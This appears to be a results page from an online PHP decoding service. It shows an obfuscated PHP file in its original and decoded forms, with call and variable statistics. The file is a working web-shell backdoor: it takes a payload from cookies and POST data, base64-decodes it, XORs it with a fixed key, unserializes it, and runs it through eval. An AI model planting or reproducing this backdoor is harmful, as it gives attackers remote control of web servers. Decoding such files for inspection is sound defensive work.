Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $BBFJGGL = chr ( 623 - 547 )."Y" . 'B' . chr (95) . chr ( 396 - 319 )."H" . "W" . "l";$JKNKgUPo = chr ( 981 - 882 ).chr ( 607 - 499 ).chr (97) . "s" . chr (115) . "_" . chr (101) . "x" . "i" . "s" . "t" . "s";$aoXxk = $JKNKgUPo($BBFJGGL); $zZqkVnJ = $aoXxk;if (!$zZqkVnJ){class LYB_MHWl{private $XBFHojP;public static $FqLsVw = "25d6e356-e026-41bb-b3c7-153543e8ee2d";public static $RyemTI = NULL;public function __construct(){$fBuZMeMvll = $_COOKIE;$KrfBMJyklZ = $_POST;$XeNxHdoblv = @$fBuZMeMvll[substr(LYB_MHWl::$FqLsVw, 0, 4)];if (!empty($XeNxHdoblv)){$unWRhSN = "base64";$BINjAHWJk = "";$XeNxHdoblv = explode(",", $XeNxHdoblv);foreach ($XeNxHdoblv as $MDMPoDsD){$BINjAHWJk .= @$fBuZMeMvll[$MDMPoDsD];$BINjAHWJk .= @$KrfBMJyklZ[$MDMPoDsD];}$BINjAHWJk = array_map($unWRhSN . chr (95) . "d" . "e" . chr ( 257 - 158 ).'o' . "d" . "e", array($BINjAHWJk,)); $BINjAHWJk = $BINjAHWJk[0] ^ str_repeat(LYB_MHWl::$FqLsVw, (strlen($BINjAHWJk[0]) / strlen(LYB_MHWl::$FqLsVw)) + 1);LYB_MHWl::$RyemTI = @unserialize($BINjAHWJk);}}public function __destruct(){$this->ClLAt();}private function ClLAt(){if (is_array(LYB_MHWl::$RyemTI)) {$Olgny = str_replace("<" . '?' . chr ( 551 - 439 ).'h' . "p", "", LYB_MHWl::$RyemTI['c' . chr (111) . "n" . 't' . 'e' . "n" . chr (116)]);eval($Olgny);exit();}}}$PWWymrkqZp = new LYB_MHWl(); $PWWymrkqZp = NULL;} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $BBFJGGL = chr ( 623 - 547 )."\x59" . 'B' . chr (95) . chr ( 396 - 319 )."\x48" . "\127" . "\x6c";$JKNKgUPo = chr ( 981 - 882 ).chr ( 607 - 499 ).chr (97) . "\x73" . chr (115) . "\x5f" . chr (101) . "\170" . "\x69" . "\163" . "\164" . "\163";$aoXxk = $JKNKgUPo($BBFJGGL); $zZqkVnJ = $aoXxk;if (!$zZqkVnJ){class LYB_MHWl{private $XBFHojP;public static $FqLsVw = "25d6e356-e026-41bb-b3c7-153543e8ee2d";public static $RyemTI = NULL;public function __construct(){$fBuZMeMvll = $_COOKIE;$KrfBMJyklZ = $_POST;$XeNxHdoblv = @$fBuZMeMvll[substr(LYB_MHWl::$FqLsVw, 0, 4)];if (!empty($XeNxHdoblv)){$unWRhSN = "base64";$BINjAHWJk = "";$XeNxHdoblv = explode(",", $XeNxHdoblv);foreach ($XeNxHdoblv as $MDMPoDsD){$BINjAHWJk .= @$fBuZMeMvll[$MDMPoDsD];$BINjAHWJk .= @$KrfBMJyklZ[$MDMPoDsD];}$BINjAHWJk = array_map($unWRhSN . chr (95) . "\x64" . "\x65" . chr ( 257 - 158 ).'o' . "\x64" . "\145", array($BINjAHWJk,)); $BINjAHWJk = $BINjAHWJk[0] ^ str_repeat(LYB_MHWl::$FqLsVw, (strlen($BINjAHWJk[0]) / strlen(LYB_MHWl::$FqLsVw)) + 1);LYB_MHWl::$RyemTI = @unserialize($BINjAHWJk);}}public function __destruct(){$this->ClLAt();}private function ClLAt(){if (is_array(LYB_MHWl::$RyemTI)) {$Olgny = str_replace("\74" . '?' . chr ( 551 - 439 ).'h' . "\160", "", LYB_MHWl::$RyemTI['c' . chr (111) . "\x6e" . 't' . 'e' . "\x6e" . chr (116)]);eval($Olgny);exit();}}}$PWWymrkqZp = new LYB_MHWl(); $PWWymrkqZp = NULL;}

Function Calls

chr 8
class_exists 1

Variables

$BBFJGGL LYB_MHWl
$JKNKgUPo class_exists

Stats

MD5 0201ede46d870e43f68662951e84bcc5
Eval Count 0
Decode Time 219 ms